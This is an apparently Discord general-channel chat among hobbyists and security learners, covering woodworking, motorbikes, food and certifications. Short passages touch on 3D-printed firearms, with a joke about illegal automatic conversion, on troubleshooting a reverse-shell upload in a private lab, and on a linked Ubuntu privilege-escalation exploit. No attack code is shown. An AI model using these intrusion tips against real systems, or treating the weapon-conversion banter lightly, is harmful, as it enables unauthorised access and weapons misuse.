general

[heady nova]

what's with the powertools though? something fun brewing?

not actually brewing XD

[fickle snow]

Nope, custom lab

[glass nest]

Thing is, Even though the campus is open until 10pm, a lot of execs might have gone home or stay late to work without distractions, y'know?

Imma try to make a pirate treasurechest with an arched lid from palletwood.

[heady nova]

that always fascinated me, how do you make an arch?

[glass nest]

Gonna be a long process, as I'm intending to use this one to make templates and such, so I can shurn them out

it's called 'coopering'. partly maths, partly trial-and-error. Depends a lot on the width of the planks

[heady nova]

so like a fine specimen to use as an example for further made chests?

[glass nest]

That being said, I aint doing no maths. Imma eyeball it/offer it up to get the measurements.

Kinda, yeah

Once the basic boz is made, then I can go mad making them look sweet

[heady nova]

sounds too hard for newbies like me

[glass nest]

Haha, nah. most things in woodworking come down to a box.

A table is just a box with 1 side

It's the same as everything though. The deeper you get into it the more tricky it gets, but it's a surprisingly low bar to get started

Jigsaw, Drill, Ruler, pencil and sandpaper.

Don't even need expensive tools to begin

In fact, seeing Kevin typing - a bunch of my tools are from Gumtree (UK craiglist style thing)

[bleak dagger]

haha i just dont want to be scammed

[bleak dagger]

ok i trust gumtree now

[glass nest]

The benefit of Gumtree or Facebook marketplace is if you pick the thing up, you can go look at it first

[bleak dagger]

yeah i made a facebook account recently for marketplace

[glass nest]

Haha, i never said that 😄 just enumerate. If someone is selling a £5000 laptop for £30.. Maybe second guess it 😄

[bleak dagger]

dude secound guessing is how you miss good offers /j

[glass nest]

sometimes you just get really lucky. A few months ago, I saw a table saw at a decent price. Turns out the guy was retiring and closing down his shopfitting business. Went over there, Ended up buying the saw, a nailgun and a big chip extractor.

(I almost typed shoplifting business.. That would have been funny)

[heady nova]

i'm still far from setting up my own workshop(i.e buy tools) since my parents won't allow me to do such stuff. It's only possible after I move out

[bleak dagger]

ppl allways have reasons to sell stuff, i want my first car to be a honda jazz or something cause ppl are allways selling it

[heady nova]

for how much?

[glass nest]

Another guy was selling wood-turning chisels SUPER cheap. New they'd be £30-£80, this guy was letting them go for £1-£3. Turns out it was a whole bunch of stuff from a buddy of his who passed away. Walked away with a whole box of stuff. Maybe 25 chisels, and a bunch more woodworking things

[coral dagger]

anyone here available for room help. i already dropped my question 🙂 feel free to pls dm me thank you

[heady nova]

just wanna get that lucky in life

[bleak dagger]

sometimes its worth buying new cause of the hastle making it less fun, so my first bike might be a cr450 or something reliable with warranty

[heady nova]

well i'm lucky enough already, better not be greedy

[bleak dagger]

idk about woodworking so i guess thats an ok deal ? lol

oh i misread

[glass nest]

the table saw was £90 and was a dewalt flip saw (Table and Mitre saw in one). Nailgun was a Paslode final fix gas/battery powered and was £100. And the chip extractor was another hundred. all in was about £700-£800 worth of gear

not bad for £300

[heady nova]

under 300? stealll

[bleak dagger]

random i found a dewalt table saw in this old property my dad bought

[glass nest]

been using a lidl table saw for about 2 years till I got that one 😄

[bleak dagger]

i mean if it works

but i thought lidl was a grocery store

so unless its made of carrots

idk how that makes sense

[glass nest]

Middle of Lidl, yo 😄

[bleak dagger]

that isle is weird

they have welidng stuff

idk why

[glass nest]

parkside (i.e Lidl tools) are ok for Right Now, or if you're only gonna use it occasionally. Medium/Heavy use stuff will break - but thats ok, cos then you know its worth investing in a decent brand

Welding is actually something I've never tried

[bleak dagger]

im going to start next week

i was meant to yesterday

basically i made a deal with some albanian mechanics

[glass nest]

Thats pretty sweet.

[bleak dagger]

i know dude

im so excited and so is my friend

[naive violet]

There's an approach to tools that I like. Buy the cheap one and if you wear it out, get the fancy one

[glass nest]

haha, at the mention of metalwork... James appears 😄

[bleak dagger]

thats what i do exept i buy the same one ...

[naive violet]

Me? Metalwork? Never

[glass nest]

Except Dremel - the parkside one is terrible. Go straigh for the branded one 😉

I keep seeing milling machines appear on liquidation auctions. Just don't have space for it. Or the money 😄

[bleak dagger]

i want to make a delta mill

idk it wont work well

but it would be so cool

[glass nest]

Well, I'm always for people building things

[bleak dagger]

why cant there be delta mills

cause then i can do addative manufacturing and stuff super quickly on the same machine

[glass nest]

I don't really know what one is, but shrug.

[heady nova]

ninja james

i love having a diy mindset, if i had the time and the tools i'd have made everything myself except clothes cuz that's hard

[glass nest]

Well, the trick is to make the stuff using the chepaer methods, even if it take more time. then you can decide if it's worth investing in

If you are still learning, then your time isn't really 'worth' much. (My mindset is around selling the final product)

[bleak dagger]

my message wont send ill retry

[heady nova]

makes sense, still it might lead somewhere and eventually lead to something that might be worth it

[glass nest]

Yah, My friend is a ninja with a sewing machine. If In need any fabric stuff, she does it for me 😄

[bleak dagger]

https://a.co/d/2qcnBEf

imagine that with a pointy spinny thing at tge bottom

[glass nest]

Kevin - If it's a link or image, it won't send until you verify your account

Oh, links work 😄

[bleak dagger]

1984

[glass nest]

Ok, so like a CNC machine?

[glossy sage]

Hello, I’m new here.

[heady nova]

fun stuff fr, i never really got into fabrics except fixing my socks which was a disaster

[bleak dagger]

yes but mill and 3 arms

[glass nest]

Sounds like Dr Octo 😄

[bleak dagger]

i guess so

[glass nest]

If you get one up and running, I'd be very interested. I'm sure ralexander would aswell

My next purchase will likely be a bigger wood lathe. My current one is great for spindles and pens, but not quite big/powerful enough for bowls

ralexander is all about the 3D printing and laser engraving

And spooky symbols 😄

[heady nova]

and star trek stuff

[ruby pier]

I respect people who are able to diy their way in life. I do not have the patience for it.

[glass nest]

I respct space. And frogs 😄

[bleak dagger]

who said they were patient ?

[ruby pier]

lol fair enough

[bleak dagger]

being stubborn works too

[molten sky]

not being patient is part of why a lot of us do it, lol

[heady nova]

"no this has to go right here"

[molten sky]

why would i wait for and pay for a contractor when i can just do the thing myself

[glass nest]

rage-venting by carving up wood and drilling holes

[bleak dagger]

💯

[heady nova]

an awesome way to vent

[ruby pier]

true, from my perspective I tend to value time more so than money. If i have the money, ill just pay someone else to do it and save that time doing something else. That's just me though.

[heady nova]

and it's satisfying

[molten sky]

you know you're in the shit with git when even the internet can't answer your question

[bleak dagger]

exactly,

i can end up with something not only worse, but more expensive and time consuming in the long run too

diy is allways better

[heady nova]

gemini/gpt

[glass nest]

It's a balancing act. i like to think I know enough about a thing to know if I can do it, or to contract someone.

[molten sky]

i can end up with something not only worse, but more expensive and time consuming in the long run too
honestly the same can be said about diy 😂
new tool that i'll never use again? i'll take 5

[glass nest]

Ok, I can get a ball joint fixed on the van - It'll take a mechanic an hour, Max. Or a saturday morning for me.

My time is free.

[molten sky]

trying gpt :/

[heady nova]

fair point, i may be silly but i just like diy partly because i feel like i can do stuff and partly because I anticipate an apocalypse where internet goes down

[ruby pier]

lol also good point

[junior wraith]

whats the git problem

[heady nova]

good luck

[bleak dagger]

yeah you could spend it working your own job whilst the mechanic works on it or be happy with an excuse

[ruby pier]

one time i heard someone refer to gardening as diying a grovcery store.

grocery*

[heady nova]

maybe maybe, or you just love plants

[glass nest]

thats true, But why on earth would I want to be in work MORE often?

[ruby pier]

i do love plants

[heady nova]

dis

[heady nova]

debatable

[molten sky]

trying to maintain git histories on individual files within a subtree without having to manually check it out into an empty branch and place the files so git tracks their location properly -- the normal subtree behavior retains the history in the repo as a whole but loses it on the file, since the path is now different ,-,

[ruby pier]

im a frog rinzler

[bleak dagger]

idk i like working until i have to do something not easy

[ruby pier]

plants are my jam, i love to sit on them

[glass nest]

If it's a time-value thing - imagine you could do Everything. Then you could work a lot less and have more time to do the stuff you want, when you want

[bleak dagger]

but you can do everything

exept what you cant do

...

[glass nest]

Zaclty.

[bleak dagger]

i think like this a lot

then i work towards something

[glass nest]

In order to learn everything, you need to try stuff and get better at it

[heady nova]

but no plants in space

[bleak dagger]

then theres a little challenge and i question every decision until then

[glass nest]

Literally everything is in space 😄

[ruby pier]

its a sacrifice i think about every time i wake up in the morning.

[bleak dagger]

even nothing is in space

[glass nest]

learning a new skill isn't a sacrifice. It's devlopment

[heady nova]

i can't seem to form an argument but i want to

[junior wraith]

thats next level stuff. never worked with git subtree

[heady nova]

ez, rewrite git, make a contribution

[bleak dagger]

admit defeat and next time refer to outer space

[molten sky]

normally i defer to submodules, but github doesn't include submodules in zip downloads or release downloads, which is the main delivery mechanism here, so i have to merge the would-be-submodules into the repo normally ,-,

i blame github more than git

[heady nova]

i'll go with that

[molten sky]

okay..........i just tried a new merge strategy and it dumped the repo-to-be-merged into a random directory like 3 levels deep by itself

tf

[heady nova]

how's that possible without specifying a path

or did it create subdirs?

[molten sky]

like the path exists
but i don't remember having used it for anything in the last few hours, let alone anything related to the merge 😶

[heady nova]

look at the rules maybe?

[bleak dagger]

should i look for the best deals and post then here so you guys can help me confirm its legit, i don't make a lot of money so im not taking any more risks. i think after getting this i will save up for an air compressor and build a cnc machine to put in the garage so as soon as i can weld i can make custom bike parts and stuff then i wont have to work doing things i dont like until im 18.

any issues with this plan ?

[ruby pier]

no issue partially because i know nothing about bikes

[molten sky]

wait what

air compressor, forged, carbon fiber - are all words that feel weird together

[ruby pier]

believe in yourself!

[molten sky]

oh that was edited out lol

[bleak dagger]

same but were not the same cause i watch occasional videos and tell myself i dk

[bleak dagger]

yh cause icba to explain it to everyone but i might aswell

[molten sky]

by "bike" do you mean bicycle or motorcycle

[ruby pier]

making custom bike parts seems cool though. if thats what you wanna do, go for it

[bleak dagger]

basically left over carbon fibre tow or prepreg can be put into a mould and then cooked; its common in the automotive world among enthusiasts for example, in fact lamborghini is trying to make connecting rods out of them

[bleak dagger]

bicycles at first but when im older i want to work on motorcyles too, i want a custom dual sport or supermoto eventually to proove my abilities.

but i dont have them yet lol

or money

[ruby pier]

oohhhh i just noticed your profile picture Kevin. Mr. Mccandless made me really wanna go vanabonding when i was younger.

[molten sky]

highly recommend. just a forewarning though if you plan on making custom parts for them --- if you make parts for other people that are structural -- like parts of the frame -- and something goes wrong, you would be on the hook
just keep liability in mind

but i do highly recommend getting yourself a bike in any case

[junior wraith]

anyone worked with terraform here with big clusters?

[molten sky]

yes. and to answer your next question, no, i don't remember shit.

[bleak dagger]

i wouldnt want that to happen; legally i get it but morally its wrong too

[junior wraith]

does it get supercomplex is the next q 🙂

[bleak dagger]

i dont want to edd up is the next saw for ruining someones brakes

[bleak dagger]

haha its not noticed much yk

[molten sky]

honestly, even if i remembered anything, it'd be hard to say 😂 complex to someone down in EUC might not be complex to somebody in infra eng+auto

in our environment it was fine

the thing is, terraform is meant to simplify your complicated deployments -- if you're using it right, it will be making things easier -- but that's coming from what could already be very complex envs

could suck could not

@bleak dagger my definitely not biased whatsoever self recommends an MT07

[bleak dagger]

i mean naked bikes are super cool but too scary for me, its a naked bike like the mt09 i see on ads right ?

[ruby pier]

dont doubt it. there was a novel written that was inspired by him. Into the wild. Was made into a movie and still is one of my favorite sound tracks. Who doesn't love eddie vedder lol

[simple valve]

@molten sky , you have any experience with Kubernetes hardening?

[molten sky]

mt07 and mt09 are both of the same family, actually (hence the similar name).
the mt07 is a parallel twin ~680cc and the mt09 is a 890cc triple

[bleak dagger]

the sound track sounds very track

[molten sky]

the 07 is quite a bit tamer but still torquey

[molten sky]

haven't touched k8s a single time in the last like two years but we used it before that

[simple valve]

ooooooo, did u do any hardening within the time u used it

[bleak dagger]

you know maybe as my secound bike, when i have more money and experience. id like to think im smart enough to know id get overconfident lol.

[junior wraith]

hardening is a broad term

[molten sky]

i did but i can barely even remember how i managed it other than "oh yeah kubectl or something existed i think"
i'd need to brush up

[bleak dagger]

why does your profile say fosscad, is that stuff even legal ?

[junior wraith]

I've setup a few on premise vmware clusters and on aws and gcloud

[bleak dagger]

dont advertise this bro 💀

[molten sky]

if you like the style, they have the mt03 as well which is a lot cheaper and only a 300 class

[junior wraith]

nut what you mean with hardening? setting capabilities on pods?

[molten sky]

(if you wanted the naked style ofc)

[molten sky]

federally 100% legal in the US

[bleak dagger]

icl youre right

[molten sky]

some states have laws about them but federally 100% kosher

[bleak dagger]

lucky

i want plastikov

[molten sky]

(some rules, like you can't build to sell like a licensed manufacturer would, you have to have so many ounces of metal for metal detectors (defacto the firing pin, barrel, anyways), can't build certain Title 2 firearms without a stamp, but that's about it)

[bleak dagger]

not really im not responsible enough but

its cool you can make anything innit

[molten sky]

can't make enough tho, at least not legally

the fun stuff is still regulated

[bleak dagger]

plastikov isnt fun ?

[molten sky]

ik there're a few other counties who allow homebuilt, but i have no clue which ones

[molten sky]

plastikov aint auto

[bleak dagger]

why

[molten sky]

auto would be fun

but they shut that down back in 86

[bleak dagger]

semi auto is literally more complex than auto

[bleak dagger]

they dont have to know

jkjk

[molten sky]

fun to work on? can be. fun to use? i'd wager auto would be more fun

damn expensive tho

at 30c a pop that adds up quick

[bleak dagger]

true but you can use it to make money

[molten sky]

if you mean by selling, then unfortunately not in the US

[bleak dagger]

ok ill stop there

[molten sky]

well, not within the bounds of what's legal

gotta get that permission slip

[bleak dagger]

oh yeah thats totally what i had in mind 😅

not anything else...

oops ctrl v

[molten sky]

can't seem to find any decent reference for international laws about it, but a bit curious now

[zinc nymph]

Hi, I want to ask if there is any place to find offline applications on windows. Because almost every app want you to login and create an account and be online almost all the time. even a simple to do list app want you to make an account.

[molten sky]

obv very limited

[molten sky]

are you using the microsoft store? it sounds like you're using the microsoft store

[bleak dagger]

dude i dont think dealing 3d printed arms is worth it

[zinc nymph]

nope I don't use it. its bad enough

[bleak dagger]

unless you have lots of people

[molten sky]

unless that's a typo then yeah it wouldn't be -- it'd be simple to get licensed to do so, but even then, it's just not worth the trouble

building for yourself is fine (in the US) but dealing in them is a whole different issue

[molten sky]

huh. not sure how you had that bad luck then, lol
for notes, things like Obsidian (paged notes) and Logseq (journaled notes) are extremely common, both being account-less (i just use that for todo stuff as well)

nix here, not windows, but i think they have windows apps too

[naive violet]

@molten sky @bleak dagger Let's stop discussing 3D printed weapons.

[bleak dagger]

k

[molten sky]

😢

[zinc nymph]

I will check them. thx

[twin ridge]

Gave +1 Rep to @molten sky (current: #87 - 72)

[molten sky]

huh. haven't seen you in a while actually. this your daytime?

[naive violet]

It's 9:22 in the morning and I'm making a coffee and bacon sandwich

Well, those are independent items

[molten sky]

you're not that far off then actually. odd. but yeah that sounds tasty rn

[naive violet]

Bacon sandwich will be with ketchup on a toasted roll. Coffee is with milk and no sugar.

[molten sky]

should've made a bacon sandwhich instead of having leftovers

i just use pan bread/sandwhich bread for it instead of a roll but otherwise the same

i tend to prefer a ton of bacon rather than thick bread

throw the slab on

[naive violet]

You've got to toast it though, on the inside

[molten sky]

always toasted

(both sides tho, cause well, it's a toaster, and pan/sandwhich bread --- if it was a roll then just the one)

[sonic blade]

Bacon is ruined by ketchup. Coffee is perfect by itself.

[naive violet]

[molten sky]

I agree on the coffee. But the bacon+ketchup combo is a killer

not normally, just when a sandwhich

[sonic blade]

lol you have a thing for that? like you didn't type preference, you actually had a button for it

silly, but I like it

[naive violet]

It's from a mechanical keyboards server, because that hobby often has people bashing others over a matter of personal preference

[molten sky]

that tracks

[sonic blade]

oh for sure, its all down to preference, I was just stating mine

[naive violet]

You have to have the ketchup though. It's a sour and sweet contrast to the salt on the bacon

[sonic blade]

I do love bacon with Chalula hot sauce

[naive violet]

I was tempted actually

I've got a bottle on the go, good stuff

[molten sky]

chalula i normally reserve for chili

sriracha i use more often

i actually need to buy some more now that i think about it

[naive violet]

I wouldn't do sriracha with bacon, not a contrast

[sonic blade]

I travel a lot for work, mostly to the same hotel. They have little packets of cholula and so I always have it on me. I call it pocket cholula

[molten sky]

same i'd opt for ketchup in the case of bacon

i use ketchup for literally two things, and that's it

fries and bacon sandwiches

[molten sky]

https://tenor.com/view/pocket-sand-dale-king-of-the-hill-gif-15251105

pocket chalula

[sonic blade]

you get me!

[sick lance]

Ah the age old debate

Brown sauce or Ketchup with bacon.

[molten sky]

tf is brown sauce

bbq?

steak?

no we don't put a1 on bacon

that's nasty

[naive violet]

It's made by HP but it's not the same stuff

[sonic blade]

A1 steak sauce is in a class of its own, but im not putting that shit on bacon

[molten sky]

HP Sauce is a British brown sauce [ . . . ]

explains why i didn't know wtf it was

we've got HP but not that

[naive violet]

A1 is apparently a class of brown sauce

But I've not tried A1

[sick lance]

You uncultured swine! /s

[molten sky]

a1 is fine

[naive violet]

Sauce on steak is sacrilege after all

Bottled sauce

[molten sky]

i find most steak sauce to just be a cover up for a bad steak

[naive violet]

Peppercorn, pan sauces, all acceptable

[molten sky]

some good steak butter

dump some rock salt on (when cooking, not after)

[sick lance]

Eh, I'm not too amazed at the Arc browser.

[sonic blade]

Unpopular opinion: butter on a well marbled steak is just a hat on a hat.

[molten sky]

While both HP and A.1. may seem like copycat recipes of each other, the only similarity they share is that they are both tinted brown.

[molten sky]

i think it's the cut that decides it here

in either case, the butter adds quite a bit of juice for you to soak up in your potatoes or veg or whatever else

soak up that steaky goodness into your garlic mash

[sonic blade]

I like the way you think

[molten sky]

speaking of cut

ribeye is the only acceptable cut to get warmer than mid rare

a lil bit of extra time to help melt down that fat and it's perfect

[sonic blade]

A thick ribeye deserves a reverse sear

but its my favorite cut to cook

[naive violet]

Rare or medium rare

That's all

[molten sky]

agreed

[molten sky]

agreed for everything except ribeye

ribeye has a ton more fat that you need to melt down

medium

[naive violet]

We have different names for cuts here

Like our sirloin is your NY Strip or something

[molten sky]

those are distinct cuts here as well

[sonic blade]

Judge me

[molten sky]

cheese isn't melted yet am judging

@naive violet (context)

sirloin is much leaner

[sonic blade]

Maybe im dumb but those look like the same cut to me; marbling with a fat cap

[molten sky]

similar, but different

the main difference is the amount of fat but the strip also tends to be a lot more tender

[naive violet]

@molten sky https://steaksociety.com/steak-cuts/

We use sirloin to describe a different cut

[molten sky]

well hold on

where is we

[naive violet]

The united kingdom

[molten sky]

huh. thought the UK shared the name. was gonna say I knew Aus was different

ngl i don't know the last time i heard anyone say ny strip irl

always just strip steak

we have like all of those, weird that the US is excluded from em

[naive violet]

We use so many different words, I find myself translating sometimes

[molten sky]

except rump maybe

[sonic blade]

honestly flank is my favorite cut of meat that isn't a marketing term

perfect for a long marinade and its cheap as hecl

[molten sky]

you can use skirt steak to make some damn good tacos

[sonic blade]

same thing! flank == skirt

[molten sky]

used as distinct cuts here, but both real good

[sonic blade]

Marinated flank

[molten sky]

haven't marinated a slab of flank since the summer --- was tasty

[sonic blade]

I love to cook 😄

[molten sky]

but yeah around here at least, flank refers to the meat around the abs while the skirt is lower

skirt is more meaty taste wise but also not as tender

so if you're shredding it for fajitas or tacos or something for example, skirt would be ideal

[sonic blade]

oh dang I thought they were the same

[molten sky]

they look quite similar tbh

and it's not as distinct of a difference as say, ribeye to a filet would be, but a difference is there

idk if i've ever purchased skirt without the intent to shred it for something

definitely 100% anatomically accurate beef factory (see abdominal area for skirt and flank)

[fiery hill]

Hi! Does anyone knows which rooms or labs has Heath adams (thecybermentor) created on tryhackme

[sick lance]

Is this for an internship? 👀

[fiery hill]

Yea lol

[sick lance]

Then we can't help you.

[glass nest]

MadScottishburd asked the exact same thing yesterday 😄

[fiery hill]

I found one but I'm confused

[sick lance]

For the exact same reason.

[fiery hill]

Oh lol

[sick lance]

This is to test your research skills, not ours.

[glass nest]

Whats it about? Is it a task in one of heaths certs?

[fiery hill]

Guess we are doing the same intenship then

[sick lance]

Or using the same materials.

[glass nest]

She managed to work it out 😄

[fiery hill]

Nah.. we just needed to perform an OSINT to find a room created by someone

[sonic blade]

hmmmm

[fiery hill]

Came to the conclusion it was heath

And found one. Cuz i did the Advent of cyber few months back

[glass nest]

haha some of the things that guy does.

Hes a liability unto himself 😄

[fiery hill]

But i was wondering if he made more

[sick lance]

I know the answer, I can't tell you though.

[steel aspen]

Apt upgrade fix missing takes forever

[fiery hill]

Sure no worries

[glass nest]

I think so. He's been around since the start of THM (i think)

[fiery hill]

Yea he might have

Would be so much easier if i could find his account on thm lol

[glass nest]

Looks like you're gonna be checking each room individually 😄

[steel aspen]

What's better, apt, pacman or snap?

[fiery hill]

Yup I'll do that

[steel aspen]

Or is it just user preference?

[sick lance]

Preference mostly.

[glass nest]

Aein - theres only 798 rooms, shouldnt take too long :p

[steel aspen]

Is it okay to install two different ones?

[sonic blade]

couldnt possibly be a better way to search or filter

[sick lance]

Nah, there is more.

[sonic blade]

manually is probably right.

[fiery hill]

Yup 😭

[glass nest]

😄

[fiery hill]

Damn

[steel aspen]

Hydra to crack the password (or room in this case) 😎

[sick lance]

782 rooms now.

[fiery hill]

Feeling like gojo after he said "nah I'd win"

[sick lance]

The bot is rate limited.

[steel aspen]

Can I ask the course thing you're doing?

Is it a particular room or something?

[fiery hill]

Btw his room is free right? Cuz i don't have the premium rn

[sick lance]

Hang on I'll check

[glass nest]

Think about it, Shadowy. What sort of course would ask people to find info?

[fiery hill]

Sure

[sick lance]

Yes.

They're free.

[steel aspen]

I know OSINT but is it part of THM? Or something else?

[fiery hill]

Nice

[fiery hill]

No it's not part of thm

[sick lance]

External internship.

[fiery hill]

Yes this

[steel aspen]

Oh yeah

Sounds fun either way

[sick lance]

I knew as soon as you asked. 😛

[fiery hill]

Yup.. I'll go hunting now bye

[glass nest]

Well, Kinda.

not too many sites are just HTML nowadays

[sick lance]

I mean, there is literally websites and tools that do it for you, why bother copying the code?

[steel aspen]

Isn't that how most phishing links would work theoretically?

[glass nest]

Is it not dangerous to show photos of the Mona Lisa, when people could copy the colours and make a painting that looks identical?

[sick lance]

It's one way.

[steel aspen]

I'm sure there's plenty I won't ask about

[sonic blade]

There is a lot to unpack with that question @rapid merlin

[glass nest]

If only there was someone with multiple arms/hand to help unpack it 😄

[sonic blade]

The quickest answer is PKI and trusted certificates

[steel aspen]

I nearly got done over by a dud certificate. Looked fairly legit though.

Dud is definitely not the correct word but along those lines.

[fiery hill]

I think i found it lol

[sick lance]

🥳

[glass nest]

See? You didn't need us 😄

Remeber Aein - you are a castle. you can stand against anything 😄

[fiery hill]

Hehe

[sick lance]

How long is your internship?

[fiery hill]

Well all i needed was motivation from u guys

[fiery hill]

3 months

[steel aspen]

Someone been playing AoE 🤣

[sick lance]

Unpaid?

Do you a job or anything out of it?

[devout palm]

Hi

[fiery hill]

Unpaid

[sick lance]

Or the potential job application?

[sick lance]

Oh 😦

[fiery hill]

Just doing it to gain real world experience

It's Remote so

[steel aspen]

Gday

[sick lance]

Yeah, I knew it was remote.

[fiery hill]

It's manageable

[devout palm]

How's it going?

[sick lance]

I know some details from another community member who is doing it.

[sonic blade]

For the HTML part. modern websites dont really rely on HTML anymore. its all DOM and JS or variations of JS. That being said, even if you could perfectly mimic the look and feel of a legitimate website, PKI and trust chains prevent typically ensure that you can trust the website you are browsing because the Certificate Authority has done their due diligence to ensure the validity of the website. PKI isn't perfect and things like certificate pinning have shown over the years why it isnt perfect, but its pretty good

[steel aspen]

Scrubz can I ask how long u been in IT/Cyber?

[sick lance]

4 years.

Acedemic, however.

[steel aspen]

Is that when u first completely started?

[fiery hill]

Well where I'm from.. they make u do unpaid internship for 6 months even that is WFO.

[sick lance]

Nah, I used to be.. um...

Not white hat in 90. early 00's.

[glass nest]

but thats all been..... scrubbed... away 😎

[sonic blade]

Web application security is a deep and nuanced topic, but you can be fairly certain that if a website is using TLS and has a valid certificate they are who they say they are.

[fiery hill]

🤣🤣 nice

[sick lance]

It definetly has!

Now I'm a member of a good community, where I enjoy helping people learn. 😎

[steel aspen]

Not white hat as in opposite? Lol

[glass nest]

Maybe don't pull on that thread 😄

[sick lance]

I'm not going to say anymore 😄

[steel aspen]

Bruh

[sonic blade]

If someone claims a hat, you know they are old 🙂

[steel aspen]

No judgments here, awesome what ur doing

[sick lance]

I also get the benefit of being a volunteer for THM.

[steel aspen]

U build computers n stuff quite young?

[sick lance]

Yeah.

[steel aspen]

I've loved computers but could never wrap my head around the hardware fully.

I understand it better but yeah still a learning curve.

[fiery hill]

@glass nest hey do u think i can get the ejpt if i go through all the materials they provide?

[glass nest]

in a heartbeat. That being said, might be worth investing in a slight higher-level cert that costs the same

[sick lance]

You can get a PC build simulator on Steam 😎

It's just like the real thing.

[steel aspen]

87% idk if it's my Internet being slow or my old laptop lol

[steel aspen]

How realistic is it?

[fiery hill]

Hmm yea I'll be doing those too.. planing to collect all the certs like infinity stones

[steel aspen]

Do parts blow up if u do it wrong 🤣

[sonic blade]

dont

maintaining a bunch of certs is expensive

[steel aspen]

I mean I know what the parts do but fitting them in. I was never good at jigsaws.

[fiery hill]

Oh..

[steel aspen]

I've figured just stick to the certs you need.

[sick lance]

Too many certs can damage your job applications.

[steel aspen]

I assume as you progress, stuff like Sec+ doesn't exactly matter.

[fiery hill]

So i need to earn only those which which will help me on my journey

[sick lance]

Or the ones your employer needs you to have, and will pay for.

[sonic blade]

Bingo

[steel aspen]

Do we just pay for the starting ones and most employers pay for the rest?

[fiery hill]

Well in my country u need to have atleast 2 to get a job

[glass nest]

Pizzaology with a minor in sauce dymanics.

[sick lance]

Which country?

[sonic blade]

I maintain CASP and CISSP to cover IAT and IAM III

[fiery hill]

India

[sick lance]

So Ceh and something else.

[sonic blade]

otherwise its a ton of money to maintain anything more

[fiery hill]

1st is CEH

[fiery hill]

Yes

[glass nest]

Sorry to hear that,

[sonic blade]

CEH....

yikes.

[steel aspen]

What would kiwis go for first lol

Sec+ and A+?

[glass nest]

Eightgloves - HR Filter in india.

[fiery hill]

I'll be giving ceh next month due to this

[glass nest]

A+ is very basics. almost too basic

[sick lance]

Ceh is MCQ?

[fiery hill]

Yes

[glass nest]

I thought the new version had a practical element?

[fiery hill]

Nope mcq

V12 is mcq as of now

[glass nest]

The best thing about CEH is the title 😄

[sonic blade]

If you mentioned CEH in the US you would be laughed out of the room

[glass nest]

i think PNPT was originally PEH for the badass title

[fiery hill]

I bought the voucher when i was in college a few months ago and didn't know anything cyber.. cuz my professor told us that it was the best thing to get into cybersec

And i was like nice

[glass nest]

in India, Yeah. It opens the doors. Other places in the world, not so much

[fiery hill]

Yup

I think it'll Change in a few years tho

[sonic blade]

But thats the thing, get the certs that are marketable in your locality

[glass nest]

Even if they are CEH 😄

[steel aspen]

What's the best in NZ?

[fiery hill]

Yea

[sonic blade]

I have a few certs I personally hold in high regard, but at the end of the day its about getting into the workforce

[glass nest]

those pineapple candies?

[fiery hill]

That's y i was asking about ejpt

[sick lance]

I'm not sure tbh.

[fiery hill]

Cuz some recruiters tells us to clear it in a month to show them that we are worthy

[glass nest]

Well, I did eJPT for fun. you get 3 days, but I did it in a few hours. Like.. I went over the whole thinga again to make sure.

[steel aspen]

I've just been thinking the main 3 Comptia ones

[glass nest]

It surprised me that I'd answered all the questions

[steel aspen]

Net, Sec and A

[fiery hill]

Cuz u the goat

[steel aspen]

Can't go wrong with those, surely.

[sick lance]

Nah, I don't think you can.

[fickle snow]

Anyone here skilled in upload rev. shell can DM me? dont want to spam here. Thanks! :))

[glass nest]

look through the Syllabus for A+. for real, People have said 'If you can turn on a computer, you can get A+'. getting any other CompTIA cert probably over-rules it.

[steel aspen]

The package manager upgrading been waiting in me to type Y for the last 30 minutes 😎 me thinking it was just taking forever.

[sick lance]

Why do you need to DM?

Surely this could help other people? 🙂

[fickle snow]

Didnt want to interrupt chat here 😄

but sure, let me ask here

[sick lance]

-y won't need interaction.

[lone thistle]

good morning

[glass nest]

eh, we are just chatting random here 😄

[sick lance]

Hello Hello.

[steel aspen]

Yeah it wasn't working with that properly for some reason.

[steel aspen]

Isn't their also websites for that lol

There

[fiery hill]

@glass nest what do u do for work

[sick lance]

Yeah, but they might be doing something wrong.

[glass nest]

I make and deliver edible circles of joy for people in the southwest UK

[lone thistle]

me or esqy?

[fiery hill]

Nice

[steel aspen]

Very true. I forgot the website name I use in particular but there's an option for a lot of different rev shells. Not GTFObins. It's like a generator though.

[glass nest]

ben - Lets be honest, whatever you do... Making pizzas is bae 😄

[steel aspen]

Great for THM CTFs

[fiery hill]

Ah sorry man i replied to you

[sick lance]

That one?

[lone thistle]

revshells.com?

[glass nest]

Theres even an Emoji revshell on there 😄

think it's called Ivan something?

[lone thistle]

true true. making circular dishes of various sauces, cheese and meat is gooooood

[fickle snow]

If you upload rev. shell on a website, and you are receiving error like The image cannot be displayed because it conaints error - netcat is not showing any attempts for rev. shell. Is there any solutions or anything like that? I have tried revshell.com generator with encoding and everything, still no luck. Worst part is that its not even trying to attempt connection so I have no clue what to do next. I did complete whole upload room on thm so Its not an issue to upload, but to create connection on rev. shell. Checked IP and PORT as well, its correct for sure.

[glass nest]

Part of a.... well rounded... diet 😄

[fiery hill]

Fun fact.. i ate my first pizza when i was 22

[sick lance]

Which website are you doing? 🙂

[fiery hill]

Well 2 years ago lol

[glass nest]

@lone thistle Have you seen the DIRTY cookies we have now? It's basically a whole creme egg baked inside a cookie 😄

[lone thistle]

I have heard of 'em aye

[sick lance]

My son won't stop banging on about them.

[glass nest]

Apprently the whole country practically sold out in a week

[sick lance]

He wants a dominoes every night because of it.

[glass nest]

Haha. See this is why plymouth is better. I know some people and could hook you up

[lone thistle]

sue me but I'm not a sweet tooth person 😅 I don'tt get the hype

[sick lance]

Yeah, but your hours away

[fiery hill]

Well see you guys around. Have a nice day

[fickle snow]

Its a private lab in VM, there is no walkhtrough on a website and im trying to understand this upload vuln.

[rapid merlin]

As someome who doesn't like creme eggs anyway it was a solid pass

[lone thistle]

Then it may be with how the image is being uploaded and not necessarily the payload itself (although that could be it). Hard to tell without knowing the web app stack, the web app itself etc, if it's even possible

[rapid merlin]

Google file upload bypass

[glass nest]

It's like i don't even know any of you any more. SMH

[fleet finch]

Guys I have a box with Ubuntu 22.04 and this exploit:

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

is working well so I can privesc. But I was also using LinPEAS before and "Linux exploit suggester" did not tell me.... Any ideas why?

[glass nest]

To be fair, I have a bit of a sweet tooth, and I can only stomach 1 of them

[rapid merlin]

I don't even buy much junk anymore tbh, too focused on trying to eat my diet which we will discuss no further

[glass nest]

Good for you, taking control 🙂

[rapid merlin]

May as well, your body is the only home you'll ever live in forever

[glass nest]

